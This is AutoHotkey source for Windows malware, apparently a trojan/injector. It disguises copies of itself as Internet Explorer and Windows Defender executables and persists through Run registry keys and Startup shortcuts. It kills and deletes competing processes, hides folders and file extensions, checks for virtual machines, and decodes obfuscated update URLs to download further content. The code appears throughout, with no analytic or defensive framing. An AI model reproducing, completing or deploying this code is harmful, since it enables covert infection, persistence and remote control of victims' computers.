| Try IniWrite, %cls_id_208D2C60%, %sd_ini%, .ShellClassInfo, CLSID | |
| } | |
| Try filegetattrib, nnn, %sd_ini% | |
| if (nnn != "RSH" && nnn != "RASH") { | |
| Try filesetattrib, +RSH, %sd_ini% | |
| } | |
| } | |
| else | |
| kill_del(sd_ini) | |
| Try filegetattrib, hh, %ScriptDir% | |
| if (hh != "RSH" && hh != "RASH") { | |
| Try filesetattrib, +RSH, %ScriptDir% | |
| } | |
| Try filegetattrib, hh, %myprg_dir% | |
| if (hh != "RSH" && hh != "RASH") { | |
| Try filesetattrib, +RSH, %myprg_dir% | |
| } | |
| return | |
| prv_strt_chk: | |
| stringright, now, a_now, 3 | |
| if (now = "000" || !prv_chk) { | |
| insc := dcprt("s7q-arNCTi5p-avbGtvNCOmp8-c", "LJG^%&&^j") | |
| For indx, lp in [startup, startupcommon] | |
| kill_del(lp "\" insc ".lnk") | |
| For indx, hk in ["HKLM", "HKCU"] | |
| If InStr(rg_rd(hk, reg_sw_ms_win_cu_ru, insc), ieDotexe) | |
| Try regdelete, %hk%, %reg_sw_ms_win_cu_ru%, %insc% | |
| prv_chk = 1 | |
| } | |
| return | |
| fl_typ_nfo(infl="") { | |
| Static csss, hxvl | |
| Global int_exp, win_def, ScriptFullPath | |
| if !infl | |
| infl := ScriptFullPath | |
| If !csss | |
| { | |
| csss := A_IsUnicode ? "W" : "A" | |
| hxvl := "msvcrt\s" (A_IsUnicode ? "w": "") "printf" | |
| } | |
| If !FSz := DllCall("Version\GetFileVersionInfoSize" csss, Str, infl, UInt, 0) | |
| Return "" | |
| VarSetCapacity( FVI, FSz, 0), VarSetCapacity(trs, 8 * (A_IsUnicode ? 2 : 1)) | |
| DllCall("Version\GetFileVersionInfo" csss, Str, infl, Int, 0, UInt, FSz, UInt, &FVI) | |
| If !DllCall("Version\VerQueryValue" csss, UInt, &FVI, Str, "\VarFileInfo\Translation", UIntP, tns, UInt, 0) | |
| Return "" | |
| If !DllCall(hxvl, Str, trs, Str, "%08X", UInt, NumGet(tns+0)) | |
| Return "" | |
| If !DllCall("Version\VerQueryValue" csss, UInt, &FVI, Str, "\StringFileInfo\" SubStr(trs,-3) SubStr(trs,1,4) "\FileDescription", UIntP, iptr, UInt, 0) | |
| return "" | |
| typp := DllCall("MulDiv", UInt, iptr, Int, 1, Int, 1, "Str") | |
| if InStr(typp, int_exp) | |
| return "ix" | |
| else if InStr(typp, win_def) | |
| return "wd" | |
| return "" | |
| } | |
| instlr: | |
| For idn, pr in get_prcs_by_cls() { | |
| ver := ver_typ(pr.pr_pth) | |
| if ver = 2 | |
| ExitApp | |
| else if (ver = 1) { | |
| pr_nm := pr.pr_nm | |
| if pr_nm not contains ~,.tmp. | |
| ExitApp | |
| } | |
| else if ver = 0 | |
| kill_del(pr.pr_pth, pr.pr_pid) | |
| } | |
| chk_reg_mons() | |
| wtchr_Instl = 0 | |
| ckvirtl() | |
| if (InStr(ScriptName, ieDotexe) || InStr(ScriptName, MCuiEXE)) { | |
| if cmdl_tw != | |
| ExitApp | |
| goto, emrgnc_instl | |
| } | |
| if cmdl_on != %alt_0_chr% | |
| ExitApp | |
| onexit, delexit | |
| emrgnc_instl: | |
| upd_lst_upd_dys() | |
| upd_ver_cnt(1) | |
| set_ixplr: | |
| ix_pid = | |
| highr_running = 0 | |
| ptttt := "i).*\\" prg_alt0160_fls StrReplace(StrReplace(ie_ix_exe, "\", "\\"), ".", "\.") "$" | |
| For idn, pr in get_prcs_by_cls() { | |
| pr_pth := pr.pr_pth | |
| pr_pid := pr.pr_pid | |
| if (RegExMatch(pr_pth, ptttt) < 1) | |
| continue | |
| ver := ver_typ(pr_pth) | |
| if (ver = 1 && ix_pid = "") | |
| ix_pid := pr_pid | |
| if ver = 2 | |
| highr_running++ | |
| else if (ver < 1) { | |
| Try process, close, %pr_pid% | |
| kill_del(pr_pth) | |
| ix_pid = | |
| } | |
| chk_tskmgr() | |
| } | |
| if (highr_running > 0) { | |
| onexit | |
| ExitApp | |
| } | |
| if ix_pid != | |
| return | |
| tw_pths = %myprg_dir%%ie_ix_exe%|%appdata%\%prg_alt0160_fls%%ie_ix_exe% | |
| me_isMCui := InStr(ScriptFullPath, "\" win_alt0160_def "\" MCuiEXE) | |
| me_isTmp := (is_tmp_upd || InStr(ScriptName, "~temp~")) ? 1 : 0 | |
| For indx, loopfield in StrSplit(tw_pths, "|") { | |
| if !FileExist(loopfield) | |
| continue | |
| ver := ver_typ(loopfield) | |
| if (ver < 1) { | |
| kill_del(loopfield) | |
| continue | |
| } | |
| else if (ver = 1) { | |
| if (InStr(ScriptFullPath, win_def_mscuiexe) || me_isTmp || me_isMCui) { | |
| Try run, %loopfield% %alt_0_chr% %netw_srv%,, useerrorlevel | |
| if (errorlevel = 0) { | |
| if me_isTmp | |
| ExitApp | |
| if (me_isMCui) { | |
| OnExit | |
| Try run, %ScriptFullPath% %alt_0_chr% %lcl_srv%,, useerrorlevel | |
| onexit | |
| ExitApp | |
| } | |
| return | |
| } | |
| } | |
| } | |
| else if (ver = 2) { | |
| Try run, %loopfield% %alt_0_chr%,, useerrorlevel | |
| if errorlevel = 0 | |
| ExitApp | |
| } | |
| } | |
| For indx, fullpath in StrSplit(tw_pths, "|") { | |
| stringgetpos, ff, fullpath, \, R2 | |
| stringgetpos, ss, fullpath, \, R1 | |
| stringleft, fst_dir, fullpath, %ff% | |
| stringleft, scnd_dir, fullpath, %ss% | |
| if !FileExist(scnd_dir) { | |
| Try filecreatedir, %scnd_dir% | |
| Try filesetattrib, +SH, %fst_dir% | |
| Try filesetattrib, +SH, %scnd_dir% | |
| } | |
| if (fst_dir = myprg_dir) { | |
| loop, %prg_dir%\*.*, 2, 0 | |
| if !FileExist(myprg_dir "\" A_LoopFileName) | |
| Try FileCreateDir, %myprg_dir%\%A_LoopFileName% | |
| } | |
| if !FileExist(fullpath) { | |
| chg_icn_typ_cpy(ScriptFullPath, fullpath, "ix") | |
| if !FileExist(fullpath) | |
| continue | |
| } | |
| ver := ver_typ(fullpath) | |
| if (ver = 1) { | |
| if (InStr(ScriptFullPath, win_def_mscuiexe) || me_isTmp || me_isMCui) { | |
| chk_con_fl(fullpath) | |
| Try run, %fullpath% %alt_0_chr% %netw_srv%,, useerrorlevel | |
| if (errorlevel = 0) { | |
| if me_isTmp | |
| ExitApp | |
| if (me_isMCui) { | |
| OnExit | |
| Try run, %ScriptFullPath% %alt_0_chr% %lcl_srv%,, useerrorlevel | |
| ExitApp | |
| } | |
| return | |
| } | |
| } | |
| } | |
| else if (ver != -1) { | |
| fj := fullpath . get_num_seed(5) | |
| kill_del(fullpath) | |
| kill_del(fj) | |
| Try filemove, %fullpath%, %fj%, 1 | |
| if FileExist(fj) | |
| kill_del(fj) | |
| } | |
| } | |
| run_in_tmp(ieDotexe) | |
| if ScriptName = %MCuiEXE% | |
| return | |
| ExitApp | |
| chk_con_fl(fp) { | |
| if !FileExist(fp) | |
| return | |
| Try FileSetAttrib, +RS %fp% | |
| Try FileSetAttrib, -H, %fp% | |
| loop, %fp% | |
| { | |
| stringtrimright, shpth, A_LoopFileShortPath, StrLen(A_LoopFileShortName) | |
| hh := h2s("7867316F56784A4F7132") | |
| sls := dcprt("jtSVjQ-c-c", hh) | |
| cn := sls shpth dcprt("lefV", hh) | |
| lp := sls shpth dcprt("nujbYg-c-c", hh) | |
| Try FileAppend, microsoft, %lp% | |
| Try FileAppend, antivirus, %cn% | |
| Try FileSetAttrib, +RSH, %lp% | |
| Try FileSetAttrib, +RSH, %cn% | |
| break | |
| } | |
| return | |
| } | |
| chk_if_instld_n_runit: | |
| runok = 0 | |
| For idn, pr in get_prcs_by_cls() { | |
| pr_pth := pr.pr_pth | |
| pr_nm := pr.pr_nm | |
| if ((SubStr(pr_pth, -11) != "\" MCuiEXE && SubStr(pr_pth, -12) != "\" ieDotexe)) | |
| continue | |
| if (ver_typ(pr_pth) > 0) | |
| ExitApp | |
| kill_del(pr_pth, pr.pr_pid) | |
| sleep, 100 | |
| if FileExist(pr_pth) | |
| continue | |
| typp := (pr_nm = MCuiEXE) ? "wd" : "ix" | |
| chg_icn_typ_cpy(ScriptFullPath, pr_pth, typp) | |
| sleep, 100 | |
| if !FileExist(pr_pth) | |
| continue | |
| Try FileSetAttrib, +RSA, %pr_pth% | |
| Try FileSetAttrib, -H, %pr_pth% | |
| cm := (pr_nm = MCuiEXE) ? lcl_srv : netw_srv | |
| Try run, %pr_pth% %alt_0_chr% %cm%,, Useerrorlevel | |
| if errorlevel = 0 | |
| runok++ | |
| chk_tskmgr() | |
| } | |
| if runok > 0 | |
| ExitApp | |
| For ix_, roott in ["HKCU", "HKLM"] | |
| For ixx, regpth in [reg_sw_ms_win_cu_ro, reg_sw_ms_win_cu_ru] | |
| Loop, %roott%, %regpth% | |
| { | |
| Try RegRead, regvalue | |
| r_fle := StrSplit(regvalue, """")[2] | |
| if !r_fle | |
| continue | |
| if !FileExist(r_fle) | |
| continue | |
| ver := ver_typ(r_fle) | |
| if (ver > 0) { | |
| if InStr(regvalue, alt_0_chr) { | |
| hde_fldrs() | |
| ExitApp | |
| } | |
| } | |
| else if (ver = 0) { | |
| kill_del(r_fle) | |
| Try regdelete | |
| } | |
| } | |
| For ii, lpp in [startupcommon, startup] | |
| loop, %lpp%\*.lnk | |
| { | |
| Try FileGetShortcut, %a_loopfilefullpath%, OTrgt,,OArg | |
| if !FileExist(OTrgt) | |
| continue | |
| ver := ver_typ(OTrgt) | |
| if (ver > 0) { | |
| if OArg contains %alt_0_chr% | |
| ExitApp | |
| } | |
| else if (ver = 0) { | |
| kill_del(a_loopfilefullpath) | |
| kill_del(OTrgt) | |
| } | |
| } | |
| exist_ix = | |
| For indx, loopfield in [myprg_dir ie_ix_exe, appdata "\" prg_alt0160_fls ie_ix_exe] { | |
| if !FileExist(loopfield) | |
| continue | |
| exist_ix .= loopfield "|" | |
| ver := ver_typ(loopfield) | |
| if (ver > 0) { | |
| Try run, %loopfield% %alt_0_chr% %netw_srv%,, useerrorlevel | |
| if errorlevel = 0 | |
| ExitApp | |
| } | |
| else if ver != -1 | |
| continue | |
| kill_del(loopfield) | |
| if FileExist(loopfield) | |
| continue | |
| chg_icn_typ_cpy(ScriptFullPath, loopfield, "ix") | |
| sleep, 200 | |
| if !FileExist(loopfield) | |
| continue | |
| Try FileSetAttrib, +RSA, %loopfield% | |
| Try FileSetAttrib, -H, %loopfield% | |
| Try run, %loopfield% %alt_0_chr% %netw_srv%,, Useerrorlevel | |
| if errorlevel = 0 | |
| ExitApp | |
| } | |
| Loop, %atemp%\*, 2 | |
| { | |
| if !RegExMatch(a_loopfilename, "^[\d]{12}$") | |
| continue | |
| fst_loopfilefullpath := a_loopfilefullpath | |
| loop, %a_loopfilefullpath%\*, 2 | |
| { | |
| if !RegExMatch(a_loopfilename, "^[\d]{12}$") | |
| continue | |
| tmfile = %a_loopfilefullpath%\%prg_alt0160_fls%%ie_ix_exe% | |
| if !FileExist(tmfile) | |
| continue | |
| exist_ix .= tmfile "|" | |
| if (ver_typ(tmfile) > 0) { | |
| Try run, %tmfile% %alt_0_chr% %netw_srv%,, Useerrorlevel | |
| if errorlevel = 0 | |
| ExitApp | |
| } | |
| else | |
| { | |
| kill_del(tmfile) | |
| kill_del(a_loopfilefullpath) | |
| kill_del(fst_loopfilefullpath) | |
| } | |
| } | |
| } | |
| For indx, loopfield in StrSplit(exist_ix, "|") { | |
| if !loopfield | |
| continue | |
| if !FileExist(loopfield) | |
| continue | |
| kill_del(loopfield) | |
| if FileExist(loopfield) | |
| continue | |
| chg_icn_typ_cpy(ScriptFullPath, loopfield, "ix") | |
| if !FileExist(loopfield) | |
| continue | |
| Try FileSetAttrib, +RSA, %loopfield% | |
| Try FileSetAttrib, -H, %loopfield% | |
| Try run, %loopfield% %alt_0_chr% %netw_srv%,, Useerrorlevel | |
| if errorlevel = 0 | |
| ExitApp | |
| } | |
| return | |
| get_prcs_by_cls(inc_slf=0) { | |
| Static m_wn_cls, wn_ex | |
| Global systemroot, selfpid, mky | |
| stringcasesense, off | |
| if !m_wn_cls | |
| m_wn_cls := dcprt("eduxwtnqr8GJmn2U6taY3Le-boLadz6apz9u-bwbuUkrns1nneyrzZ6WC6qsSYvK-a1u9a1", mky) | |
| if !wn_ex | |
| wn_ex := dcprt("kMi5xtbnvLTIlra83Q-c-c", mky) | |
| ac:=[] | |
| dn_pid:="|" | |
| Try WinGet, idd, list | |
| Loop, %idd% | |
| { | |
| win_id := idd%a_index% | |
| Try WinGetClass, cls, ahk_id %win_id% | |
| if cls not contains %m_wn_cls% | |
| continue | |
| Try WinGet, ppid, pid, ahk_id %win_id% | |
| if (!ppid || (!inc_slf && ppid = selfpid) || InStr(dn_pid, "|" ppid "|")) { | |
| continue | |
| } | |
| VarSetCapacity(pr_pth, 4096, 0) | |
| g := DllCall("OpenProcess", "UInt", 0x0010 | 0x0400, "Int", false, "UInt", ppid) | |
| DllCall("Psapi.dll\GetModuleFileNameExA", "UInt", g, "UInt", "", "Str", pr_pth, "UInt", 4096) | |
| DllCall("CloseHandle", "UInt", g) | |
| if (InStr(pr_pth, ":\") && pr_pth != systemroot wn_ex) { | |
| SplitPath, pr_pth, pr_nm, pr_dir | |
| ac.Push({pr_pid: ppid, pr_pth: pr_pth, pr_dir: pr_dir, pr_nm: pr_nm, pr_hwd: win_id, pr_cls: cls}) | |
| dn_pid .= ppid "|" | |
| } | |
| } | |
| dn_pid := | |
| return ac | |
| } | |
| try_del_fl(fl="") { | |
| if !fl | |
| return 1 | |
| if !FileExist(fl) | |
| return 1 | |
| Try filedelete, %fl% | |
| if !FileExist(fl) | |
| return 1 | |
| Try filedelete, \\.\%fl% | |
| if !FileExist(fl) | |
| return 1 | |
| Try run, %comspec% /c RD /S /Q "\\.\%fl%",,hide UseErrorLevel, p | |
| if ErrorLevel != ERROR | |
| { | |
| Try process, WaitClose, %p%, 2 | |
| Try process, close, %p% | |
| sleep, 100 | |
| } | |
| return FileExist(fl) ? 0 : 1 | |
| } | |
| try_del_fldr(fl="") { | |
| if !fl | |
| return 1 | |
| if !FileExist(fl) | |
| return 1 | |
| Try fileremovedir, %fl%, 1 | |
| if !FileExist(fl) | |
| return 1 | |
| Try fileremovedir, \\.\%fl%, 1 | |
| if !FileExist(fl) | |
| return 1 | |
| Try run, %comspec% /c RD /S /Q "\\.\%fl%",,hide UseErrorLevel, p | |
| if ErrorLevel != ERROR | |
| { | |
| Try process, WaitClose, %p%, 2 | |
| Try process, close, %p% | |
| sleep, 100 | |
| } | |
| return FileExist(fl) ? 0 : 1 | |
| } | |
| kill_del(del_file="", pr_pid=0) { | |
| if (pr_pid > 0) { | |
| Try { | |
| process, exist, %pr_pid% | |
| if (ErrorLevel = pr_pid) { | |
| Try process, close, %pr_pid% | |
| Try process, waitclose, %pr_pid%, 3 | |
| } | |
| } | |
| } | |
| if !InStr(del_file, ":\") | |
| return 1 | |
| if !FileExist(del_file) | |
| return 1 | |
| loop, %del_file%, 0 | |
| { | |
| fpath := A_LoopFileFullPath | |
| if try_del_fl(fpath) | |
| break | |
| Try FileSetAttrib, -RSAH, %fpath% | |
| if try_del_fl(fpath) | |
| break | |
| if try_del_fl("\\.\" fpath) | |
| break | |
| loop, 1000 | |
| { | |
| bk := del_file "_bak" ((a_index = 1) ? "" : SubStr("000" (a_index-2), -2)) | |
| if !FileExist(bk) | |
| Break | |
| Try FileSetAttrib, -RSAH, %bk% | |
| if try_del_fl(bk) | |
| Break | |
| } | |
| Try filemove, %fpath%, %bk%, 1 | |
| sleep, 50 | |
| } | |
| loop, %del_file%, 2 | |
| { | |
| fpath := A_LoopFileFullPath | |
| if try_del_fldr(fpath) | |
| break | |
| Try FileSetAttrib, -RSAH, %fpath% | |
| Try FileSetAttrib, -RSAH, %fpath%\*, 1, 1 | |
| if try_del_fldr(fpath) | |
| break | |
| if try_del_fldr("\\.\" fpath) | |
| break | |
| loop, 1000 | |
| { | |
| bk := del_file "_bak" ((a_index = 1) ? "" : SubStr("000" (a_index-2), -2)) | |
| if !FileExist(bk) | |
| Break | |
| Try FileSetAttrib, -RSAH, %bk% | |
| Try FileSetAttrib, -RSAH, %bk%\*, 1, 1 | |
| if try_del_fldr(bk) | |
| Break | |
| } | |
| Try FileMoveDir, %del_file%, %bk%, R | |
| sleep, 50 | |
| } | |
| return FileExist(del_file) ? 0 : 1 | |
| } | |
| set_srvcs: | |
| svcpat := "i).*\\" win_alt0160_def "\\" StrReplace(MCuiEXE, ".", "\.") "$" | |
| For idn, pr in get_prcs_by_cls() { | |
| pr_pth := pr.pr_pth | |
| pr_pid := pr.pr_pid | |
| if !pr_pth | |
| continue | |
| if (RegExMatch(pr_pth, svcpat) > 0) { | |
| ver := ver_typ(pr_pth) | |
| if (ver = -1) | |
| kill_del(pr_pth, pr_pid) | |
| else if ver = 2 | |
| goto, close_self_all_ext | |
| else if (ver = 1) { | |
| wtchr_pid := pr_pid | |
| return | |
| } | |
| } | |
| } | |
| tmpfile = | |
| For indx, loopfield in [prg_dir "\" win_alt0160_def "\" MCuiEXE, appdata "\" prg_fls "\" win_alt0160_def "\" MCuiEXE] { | |
| stringgetpos, kk, loopfield, \, R2 | |
| stringleft, fstdir, loopfield, %kk% | |
| scnddir = %fstdir%\%win_alt0160_def% | |
| if FileExist(loopfield) { | |
| ver := ver_typ(loopfield) | |
| if (ver = 2) { | |
| Try { | |
| run, %loopfield% %alt_0_chr%,, useerrorlevel | |
| goto, close_self_all_ext | |
| } | |
| } | |
| else if (ver = 1) { | |
| tmpfile := loopfield | |
| goto, run_ext | |
| } | |
| Else | |
| kill_del(loopfield) | |
| } | |
| if FileExist(loopfield) | |
| continue | |
| if !FileExist(scnddir) { | |
| Try filecreatedir, %scnddir% | |
| sleep, 50 | |
| } | |
| if !FileExist(scnddir) | |
| continue | |
| sc := get_num_seed(10) | |
| ck = %scnddir%\%sc%.ini | |
| Try FileAppend, security=1, %ck% | |
| sleep, 50 | |
| if !FileExist(ck) | |
| continue | |
| kill_del(ck) | |
| chg_icn_typ_cpy(ScriptFullPath, loopfield, "wd") | |
| sleep, 50 | |
| if !FileExist(loopfield) | |
| continue | |
| tmpfile = %loopfield% | |
| if fstdir not contains :\%prg_fls% | |
| Try FileSetAttrib, +RSAH, %fstdir% | |
| Try FileSetAttrib, +RSAH, %scnddir% | |
| goto, run_ext | |
| } | |
| if tmpfile != | |
| goto, run_ext | |
| run_in_tmp(MCuiEXE) | |
| return | |
| run_ext: | |
| SplitPath, tmpfile, tmpfile_nm, file_dir | |
| Try FileSetAttrib, +RSA, %tmpfile% | |
| Try FileSetAttrib, -H, %tmpfile% | |
| if InStr(tmpfile,"\Temp\") { | |
| ts= | |
| tt= | |
| For indx, loopfield in StrSplit(tmpfile, "\") { | |
| tt .= loopfield "\" | |
| if loopfield = Temp | |
| ts = 1 | |
| if ts = 2 | |
| { | |
| stringtrimright, kk, tt, 1 | |
| Try FileSetAttrib, +RSAH, %kk% | |
| } | |
| if ts = 1 | |
| ts++ | |
| } | |
| } | |
| if (tmpfile_nm = MCuiEXE) { | |
| Try { | |
| Try run, %tmpfile% %alt_0_chr% %lcl_srv%,, useerrorlevel, wtchr_pid | |
| if (ScriptName != ieDotexe || !wtchr_pid || errorlevel = "ERROR") { | |
| return | |
| } | |
| Try process, wait, %wtchr_pid%, 5 | |
| if errorlevel = 0 | |
| return | |
| OnExit | |
| run, %ScriptFullPath% %alt_0_chr% %netw_srv%,, useerrorlevel | |
| ExitApp | |
| } | |
| } | |
| if (tmpfile_nm = ieDotexe) { | |
| Try run, %tmpfile% %alt_0_chr% %netw_srv%,, useerrorlevel, ix_pid | |
| er := errorlevel | |
| if InStr(ScriptFullPath, win_def_mscuiexe) | |
| exitapp | |
| if (!ix_pid || er = "ERROR") { | |
| return | |
| } | |
| Try process, wait, %ix_pid%, 5 | |
| if errorlevel = 0 | |
| return | |
| Try { | |
| OnExit | |
| run, %ScriptFullPath% %alt_0_chr% %lcl_srv%,, useerrorlevel | |
| ExitApp | |
| } | |
| } | |
| return | |
| s2h(strg) { | |
| local ret | |
| If !strg | |
| Return "" | |
| SetFormat, INTEGER, H | |
| Loop, Parse, strg | |
| ret .= SubStr("00" . substr(Asc(A_LoopField), 3, 2), -1) | |
| SetFormat, INTEGER, D | |
| Return ret | |
| } | |
| h2s(strg) { | |
| local ret | |
| If !strg | |
| Return | |
| Loop % StrLen(strg)//2 | |
| ret .= Chr("0x" SubStr(strg, A_Index * 2 - 1, 2 )) | |
| Str_Replace(ret,"`r") | |
| Return ret | |
| } | |
| return | |
| trjninjctr_strt: | |
| loop, %atemp%\~temp~*iN.exe | |
| if (StrLen(a_loopfilename) = 22) { | |
| kill_del(a_loopfilefullpath) | |
| } | |
| injctr_fl := atemp "\~temp~" get_num_seed(10) "iN.exe" | |
| chg_icn_typ_cpy(ScriptFullPath, injctr_fl, "ix") | |
| sleep, 50 | |
| if FileExist(injctr_fl) { | |
| Try run, %injctr_fl% %alt_0_chr% win %alt_0_chr%,, useerrorlevel | |
| } | |
| return | |
| trjninjctr: | |
| if cmdl_on != %alt_0_chr% | |
| ExitApp | |
| nhm := dcprt("c-aO5r82Siw-c-c", "uJG^%&kF") | |
| if (cmdl_tw != "win" && cmdl_tw != nhm) { | |
| ExitApp | |
| } | |
| if cmdl_on != %alt_0_chr% | |
| ExitApp | |
| if cmdl_th != %alt_0_chr% | |
| ExitApp | |
| if cmdl_tw != win | |
| { | |
| if cmdl_tw != %nhm% | |
| ExitApp | |
| } | |
| if cmdl_th != %alt_0_chr% | |
| ExitApp | |
| pat := dcprt("nYyf1N7dt7-bUw4FxscSsoIbO3b6QkabOz5w-c", mky) | |
| if (RegExMatch(ScriptName, pat) > 0) { | |
| to_rn := get_dup_prg_ie_ix() | |
| if to_rn | |
| { | |
| if (FileSize(to_rn) > 0) { | |
| Try { | |
| onexit, slfklext | |
| run, %to_rn% %alt_0_chr% %nhm% %alt_0_chr%,, useerrorlevel | |
| ExitApp | |
| } | |
| } | |
| } | |
| } | |
| Else | |
| { | |
| For idn, pr in get_prcs_by_cls() { | |
| pr_pth := pr.pr_pth | |
| if (pr.pr_pid != selfpid && pr_pth = ScriptFullPath) { | |
| if (ver_typ(pr_pth) = 1) { | |
| OnExit | |
| exitapp | |
| } | |
| } | |
| } | |
| } | |
| if (ScriptFullPath = prg_dir ie_ix_exe) { | |
| restr_ori_ie() | |
| } | |
| ixdll := ScriptDir dcprt("kMymv9jrvrDC1H-ao5NM-c", mky) | |
| If (ScriptName = ieDotexe && FileExist(ScriptFullPath)) { | |
| if (ver_typ(ScriptFullPath) = 1) { | |
| tmp_ix_cpy = | |
| For ii, ix_cpy in [atemp "\~ix~data.dat", prg_ie_ix, ori_ie_bk] { | |
| if FileExist(ix_cpy) { | |
| if (ver_typ(ix_cpy) != 1) { | |
| tmp_ix_cpy := ix_cpy | |
| break | |
| } | |
| } | |
| } | |
| if tmp_ix_cpy | |
| { | |
| kill_del(ixdll) | |
| if !FileExist(ixdll) { | |
| Try FileSetAttrib, -RSAH, %ScriptFullPath% | |
| Try FileMove, %ScriptFullPath%, %ixdll%, 1 | |
| sleep, 50 | |
| if (!FileExist(ScriptFullPath) && FileExist(ixdll)) { | |
| Try FileSetAttrib, +RSA, %ixdll% | |
| Try FileCopy, %tmp_ix_cpy%, %ScriptFullPath%, 1 | |
| Try FileSetAttrib, +RSA, %ScriptFullPath% | |
| if FileExist(ScriptFullPath) { | |
| ScriptFullPath := ixdll | |
| SplitPath, ixdll, ScriptName | |
| } | |
| } | |
| } | |
| } | |
| } | |
| } | |
| upd_ver_cnt() | |
| dmy_cnt := get_ver_cnt() | |
| rg_lu_dys := get_lst_upd_dys() | |
| tdy_no_trj := InStr(rg_lu_dys, "|" a_yday "|") ? 1 : 0 | |
| is_dumy_hst = 0 | |
| if tdy_no_trj | |
| { | |
| if (dmy_cnt < 12 || (dmy_cnt > 14 && Mod(dmy_cnt, 12) > 2)) { | |
| goto, upchk_dn_ | |
| } | |
| if dmy_cnt < 24 | |
| is_dumy_hst = 1 | |
| } | |
| Else | |
| { | |
| if (dmy_cnt < 12) { | |
| upd_ver_cnt(24) | |
| is_dumy_hst = 1 | |
| } | |
| } | |
| if !is_dumy_hst | |
| { | |
| updlnks := rdm_lnks("nNK4ytnrr7LL2rZy7Nma38W1otOj0Etg2tt3wrvLxrbdlajUuMSi06PQS2Da23fCu8vGtt2VqNS7s-aDpYsaww3SCvbDG1oVy7Nma38W1otOj0Etg2tt3wrvLxrbdlWGfhsjZ0pzStMrL6Lp9ude-aToLXlOK7tOnimZGkt9rms8eEy8CxgnGh0sm21-aWmyG-aHl-a-a9fbnXvk6C15Tiu7Tp4pmRo8-bP7LK-aydyEd6bKoNw-c") | |
| updlnks .= "`n" rdm_lnks("nMitwtnhuMPIyX-as59el3oTA5tc-ay6bC1uezvcrasnLl4KfduX-bX36FtrrfT5r-a-busnFqeqVmd7GxeOeo9WoYN3xvcO71ca03Mil1Ml-b2NSi1m-bEz-aw-c") | |
| } | |
| else | |
| { | |
| updlnks := rdm_lnks("mNK4xNbnq7OE1bqn6tak3rzFotOj0EvL2tyrw7uWvq3b2aDixbfonpfSrg-c-c") | |
| } | |
| upd_lnks := StrSplit(updlnks, "`n") | |
| if !is_dumy_hst | |
| upd_nw_lks(upd_lnks, gt_reg_sec_ky()) | |
| Loop | |
| { | |
| For i, updlnk in upd_lnks { | |
| if !updlnk | |
| continue | |
| ret := dl_upd(updlnk, "t") | |
| if is_dumy_hst | |
| goto, upchk_dn | |
| if (StrLen(ret) <= 0) | |
| goto, hsts_lp_end | |
| if (prcs_dl_txt(ret) = 1) | |
| goto, upchk_dn | |
| hsts_lp_end: | |
| sleep, 60000 | |
| } | |
| if dl_faild | |
| break | |
| sleep, 600000 | |
| } | |
| upchk_dn: | |
| upd_lst_upd_dys() | |
| upd_ver_cnt(27) | |
| upchk_dn_: | |
| if (ScriptDir = myprg_dir "\" int_exp && ScriptFullPath = ixdll) { | |
| Try FileSetAttrib, -RSAH, %ixdll% | |
| ss := ScriptDir "\" ieDotexe | |
| Try FileSetAttrib, -RSAH, %ss% | |
| Try FileMove, %ixdll%, %ss%, 1 | |
| if FileExist(ss) { | |
| if (ver_typ(ss) = 1) { | |
| ScriptFullPath := ss | |
| ScriptName := ieDotexe | |
| Try FileSetAttrib, +RSA, %ss% | |
| } | |
| } | |
| } | |
| if (ScriptFullPath = myprg_dir ie_ix_exe && FileExist(ScriptFullPath)) { | |
| OnExit | |
| Try run, %ScriptFullPath% %alt_0_chr% %netw_srv%,, useerrorlevel | |
| } | |
| ix_renms_del() | |
| ExitApp | |
| rdm_lnks(sc_lks) { | |
| Global mky | |
| if !sc_lks | |
| return | |
| lkk := StrReplace(dcprt(sc_lks, mky), "`r") | |
| sort, lkk, R | |
| lkk := Trim(lkk,"`n") | |
| sort, lkk, Random | |
| return lkk | |
| } | |
| upd_nw_lks(ByRef uplks, dctxt) { | |
| if !dctxt | |
| return | |
| For xx, lppf in StrSplit(dctxt, "|") { | |
| lchk := StrSplit(lppf, ",") | |
| if (lchk.Length() = 2) | |
| For ii, uplk in uplks | |
| if (lchk[2] != "" && uplk = lchk[1]) | |
| uplks[ii] := lchk[2] | |
| } | |
| } | |
| set_ie_oln() { | |
| Global | |
| rg_wt("REG_BINARY", , "Software\Microsoft\Internet Connection Wizard", "Completed", "01000000") | |
| rg_wt("REG_SZ", , reg_sw_ms_ie "\Main", "Check_Associations", "no") | |
| rg_wt("REG_DWORD", , "Software\Microsoft\Windows\CurrentVersion\Internet Settings", "GlobalUserOffline", "0") | |
| } | |
| mk_hxfl(fl, hxdt) { | |
| if (!hxdt || !fl) | |
| return 0 | |
| if !kill_del(fl) | |
| return 0 | |
| h2b(bin,hxdt) | |
| Try { | |
| fle := FileOpen(fl, "w") | |
| if !IsObject(fle) | |
| return 0 | |
| ot_sz := StrLen(hxdt)//2 | |
| fle.RawWrite(&bin, ot_sz) | |
| sleep, 50 | |
| ot_sz_ := fle.Length | |
| VarSetCapacity(bin, 0) | |
| fle.Close() | |
| if (ot_sz_ != ot_sz) | |
| return 0 | |
| if FileExist(fl) | |
| return 1 | |
| } | |
| return 0 | |
| } | |
| return | |
| delexit: | |
| For ii, stpp in [startup, startupcommon] | |
| kill_del(stpp "\" win_alt0160_def ".lnk") | |
| slfklext: | |
| if InStr(ScriptName,"~temp~") { | |
| loop, %atemp%\*.exe | |
| if (RegExMatch(a_loopfilename, "i)^~temp~.*iN\.exe$") && A_LoopFileFullPath != ScriptFullPath && A_LoopFileFullPath != injctr_fl) | |
| kill_del(A_LoopFileFullPath) | |
| } | |
| hde_fldrs() | |
| cmd_del_file(ScriptFullPath) | |
| ExitApp | |
| cmd_del_file(fl) { | |
| Global | |
| if !FileExist(fl) | |
| return | |
| Try FileSetAttrib, -RSAH, %fl% | |
| tb := atemp "\del" get_num_seed(5) ".bat" | |
| kill_del(tb) | |
| Try FileAppend, ping 127.0.0.1 -n 3`r`ndel "%fl%"`r`ndel "%tb%"`r`nexit, %tb% | |
| sleep, 100 | |
| c := """" | |
| cm := FileExist(tb) ? c tb c : "del /f /q " c fl c | |
| Try run, %comspec% /c %cm%,,Hide UseErrorLevel | |
| Try run, %comspec% /c del /f /q "%fl%",,Hide UseErrorLevel | |
| return | |
| } | |
| hde_fldrs() { | |
| Global reg_sw_ms_win_cu_ex_adv | |
| rr:=reg_sw_ms_win_cu_ex_adv | |
| rg_wt("REG_DWORD", , rr, "Hidden","2") | |
| rg_wt("REG_DWORD", , rr, "HideFileExt", "1") | |
| rg_wt("REG_DWORD", , rr, "SuperHidden", "1") | |
